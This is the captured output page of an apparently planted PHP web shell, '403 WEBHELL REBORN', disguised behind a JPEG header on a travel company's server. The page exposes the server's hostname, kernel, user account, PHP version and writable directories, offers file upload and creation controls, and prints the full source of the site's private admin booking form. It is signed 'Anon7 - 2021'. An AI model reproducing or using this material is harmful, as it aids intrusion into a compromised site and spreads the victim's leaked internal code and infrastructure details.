ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/res_good/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/res_good/privateDateOnly.php
<?php

    include "../include/top_iframe.html";
    include "_common.php";

    $table = "TB_PRIVATE_DEPART";

    if($seq){
        $seq = (int) $seq;

        if(!$seq){
            echo "<script>alert('오류발생');</script>";
        }else{
            $sql = "SELECT * FROM TB_PRIVATE_DEPART WHERE seq = {$seq}";
            $data = db_fetch($sql);
        }
    }


    // 담당자
    $admin_arr = member_fetch(" and mb_level <= 10 and del_flag='N' ");
    $admin_arr = array_reverse($admin_arr);

    $adminUser = array();

    foreach ($admin_arr as $item){
        $adminUser[$item['mb_id']] = $item;
    }
?>
    <style>
        .colorChange{float:left;height:24px;width:24px;margin-right:5px;cursor:pointer}
        .fileAttachArea{clear:both;float:left;width:300px;border:1px solid #cfcfd1;padding-left:10px}
        .fileAttachArea:nth-child(2){margin-top:-1px}
        .fileAttachArea b{font-weight:normal;position: relative;top: 2px;width: 15px;display: inline-block;_background: blue}

        .onlyLabel{clear: both;float: left;border: 1px solid #aaa;padding: 5px;border-radius: 4px;text-align: center;margin-right: 10px;}
    </style>
    <div class="iframe" style="margin:0;">
        <!-- 본문 -->
        <!-- 폼 -->
        <form enctype="multipart/form-data" name="frm_private_frm" id="frm_private_frm" method="post" style="clear: both;float: left;width: 100%;">
		<?php
		if(isset($seq)){
			?>
            <input name="SqlType" type="hidden" value="edit_private_mobile">
            <input name="mobile" type="hidden" value="ok">
            <input type="hidden" name="seq" value="<?=$data['seq']?>" />
			<?php
		}else{
			?>
            <input type="hidden" name="calendar_date" value="<?=$calendar_date?>" />
            <input name="SqlType" type="hidden" value="ins_private">
        <?php
		}
        ?>


            <table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_register" summary="프라이빗 행사">
                <tbody>
                <tr>
                    <td colspan="2">
                        <label class="onlyLabel" for="tourTitle">
                            투어명
                        </label>
                        <input type="text" name="title" id="tourTitle" placeholder="[작성순서] 이름(인원)_행사명_예약경로_차량종류_국적"  style="width:250px;border:1px solid #ccc" value='<?=(($data['title']) ? $data['title'] : '')?>' />

                    </td>
                </tr>

				<?php
				if($seq){
					?>
                    <tr>
                        <td colspan="2">
                            <label class="onlyLabel" for="calendar_date">
                                출발일
                            </label>
                            <input type="text" id="calendar_date" onclick="AjaxCal(this,event);" class="cal_input" name="calendar_date" placeholder="출발일"  style="width:158px;border:1px solid #ccc" value="<?=$data['calendar_date']?>"  />
                        </td>

                    </tr>
					<?php
				}
				?>
                <tr>

                    <td colspan="2">

                        <label class="onlyLabel" for="tourTitle">
                            글씨 배경색
                        </label>

						<?php
						/*
						if($TK_MEMBER['mb_id'] == 'jamiesy'){
							?>
							<input type="color" id="color" name="color" style="height:24px;padding:0;margin-left:5px;" value="<?=(($data['color']) ? $data['color'] : '#7d4ee9')?>">
							<?php
						}else{
							?>
							<input type="color" id="color" name="color" style="height:24px;padding:0;margin-left:5px;" value="<?=(($data['color']) ? $data['color'] : '#0000ff')?>">
							<?php
						}
						*/
						?>

                        <input type="color" id="color" name="color" style="-webkit-appearance:none;border-radius:0;width:30px;height:24px;padding:0;margin-left:5px;" value="<?=(($data['color']) ? $data['color'] : '#333333')?>">

                        <!--                        <span class="colorChange" style="background:#7d4ee9;" color="#7d4ee9"></span>-->
                        <!--                        <span class="colorChange" style="background:#5ab2d9;" color="#5ab2d9"></span>-->
                        <!--                        <span class="colorChange" style="background:#000000;" color="#000000"></span>-->
                        <!--                        <span class="colorChange" style="background:#ff0000;" color="#ff0000"></span>-->

						<?php
						foreach($tourDepartCalendarColorList as $word => $colorValue){
							?>
                            <span class="colorChange" style="background:<?=$colorValue?>;" color="<?=$colorValue?>"></span>
							<?php
						}
						?>

                        <script>
                            $(function(){
                                $('.colorChange').click(function(){
                                    $('#color').val($(this).attr('color'));
                                });
                            })
                        </script>

                    </td>
                </tr>
                <tr>

                    <td colspan="1">
                        <label class="onlyLabel">
                            예약인원
                        </label>
                        <br>
                        <br>
                        <input type="text" required name="res_people" style="width:39px;text-align:right;border:1px solid #ccc" value="<?=(($data['res_people']) ? $data['res_people'] : 0)?>">
                        명
                        &nbsp;/&nbsp;&nbsp;

                        <input type="text" required name="max_people" style="width:39px;text-align:right;border:1px solid #ccc" value="<?=(($data['max_people']) ? $data['max_people'] : 0)?>">
                        명
                    </td>

                    <td colspan="1">
                        <label class="onlyLabel">달력구분</label>
                        <br>
                        <br>
                        <select name="site_type" hname="사이트 구분" required style="<?=((isset($seq)) ? 'width:136px !important;' : 'width:136px !important;float:left;')?>margin-left:0px;padding: 6px 10px 4px !important;">
                            <option value="">선택</option>
                            <option value="tk" <?=(($data['site_type'] == 'tk') ? 'selected' : '')?>>TK Travel</option>
                            <option value="tb" <?=(($data['site_type'] == 'tb') ? 'selected' : '')?>>여행대장</option>
                        </select>

                    </td>
                </tr>
                <tr>
                    <td colspan="1" style="width:170px">
                        <label class="onlyLabel">버스예약</label>
                        <br>
                        <br>
                        <div style="clear:both;float:left;width:100%;">
                            <label for="busResN" style="float:left;">
                                미완료
                            </label>
                            <input style="float:left;margin-left: 5px;margin-top: 0px;" type="radio" name="busResYN" id="busResN" value="N" <?=(($data['busResYN'] == 'N' || !isset($seq) ) ? 'checked' : '')?> />

                            <label for="busResY" style="float:left;margin-left:15px">
                                완료
                            </label>
                            <input style="float:left;margin-left: 5px;margin-top: 0px;" type="radio" name="busResYN" id="busResY" value="Y" <?=(($data['busResYN'] == 'Y') ? 'checked' : '')?> />
                        </div>


                    </td>
                    <td colspan="1">
                        <label class="onlyLabel"  >
                            작성자
                        </label>
                        <br>
                        <br>

                        <select style="padding: 6px 10px 4px !important;" name="ins_id" >
							<?php
							foreach($adminUser as $item){
								?>
                                <option value="<?=$item['mb_id']?>" <?=(($data['ins_id'] == $item['mb_id']) ? 'selected' : '')?>><?=$item['mb_nm']?></option>
								<?php
							}
							?>
                        </select>
                    </td>
                </tr>

                <tr>
                    <td colspan="2">
                        <label class="onlyLabel">세부예약내역</label>
                        <br>
                        <br>
                        <textarea style="width:100%;height:<?=((isset($seq)) ? '155' : '200' )?>px" name="memo" placeholder=""><?=(($data['memo']) ? $data['memo'] : '')?></textarea>
                    </td>
                </tr>

                <tr>

                    <td colspan="2">
                        <label class="onlyLabel">버스예약정보</label>
                        <br>
                        <br>

                        <textarea style="width:100%;height:30px" name="vehicleInfo"><?=(($data['vehicleInfo']) ? $data['vehicleInfo'] : '')?></textarea>
                    </td>
                </tr>

                <tr>

                    <td colspan="2">
                        <label class="onlyLabel">투어 입금 영수증</label>
                        <br>
                        <br>

                        <div class="fileAttachArea">
                            <img class="fileIcon" src="../../image/board/bullet_disk.gif" alt="파일첨부">
                            <b>#1</b>
                            <input style="float:left;" type="file" name="file1" />
							<?php
							if($data['file1']){
								echo "<br>";
								?>

                                <a style="" href="/FileData/tour_depart/<?=$data['file1path']?>" download>
                                    <img style="position:relative;top:-1px;left:3px;" src="../../image/board/bullet_disk.gif">
									<?=$data['file1']?>
                                </a>
								<?php
							}
							?>
                        </div>

                        <div class="fileAttachArea">
                            <img class="fileIcon" src="../../image/board/bullet_disk.gif" alt="파일첨부">
                            <b>#2</b>
                            <input style="float:left;" type="file" name="file2" />
							<?php
							if($data['file2']){
								echo "<br>";
								?>
                                <a style="" href="/FileData/tour_depart/<?=$data['file2path']?>" download>
                                    <img style="position:relative;top:-1px;left:3px;" src="../../image/board/bullet_disk.gif">
									<?=$data['file2']?>
                                </a>
								<?php
							}
							?>
                        </div>
                    </td>
                </tr>
                </tbody>
            </table>



            <div style="clear:both;margin:7px auto 15px; padding:0;width:<?=(($seq) ? '125' : '60')?>px">
                <input style="border:none;border-radius:3px; -webkit-appearance: none;;margin:0;float:left;display:block" type="button" value="저장하기" class="Tbtn gray" onclick="update_frm();">
                <?php
                if(isset($seq)){
                    ?>
                    <span class="Tbtn red" onclick="delete_private_depart(<?=$seq?>);" style="text-align:center;float:right;height:17px;padding:5px 6px 4px 6px">삭제하기</span>
                    <?php
                }
                ?>
            </div>

        </form>
     <!-- /폼 -->

    <script type="text/javascript">

        $(document).ready(function(){

        });

        function delete_private_depart(seq){
            if(!seq){
                alert('실패');
                return false;
            }

            if(confirm('정말로 삭제하시겠습니까?')){
                location.href='privateDateProc.php?SqlType=del_private&seq='+seq;


            }

        }

        function update_frm()
        {
            var f=document.frm_private_frm;

            // 폼체크
            var result = to_validation(f);
            if (result == false) return false;


            setTimeout(function(){
                console.log(111);
                $('.ui-dialog-titlebar-close').click();
            },2000)
            ajax_post("","privateDateProc.php","frm_private_frm");


        }

    </script>

    <iframe name="IMGIF" id="IMGIF" width="0" height="0" style="display:none;"></iframe>
<?php
include "../include/footer_iframe.html";
?>

Anon7 - 2021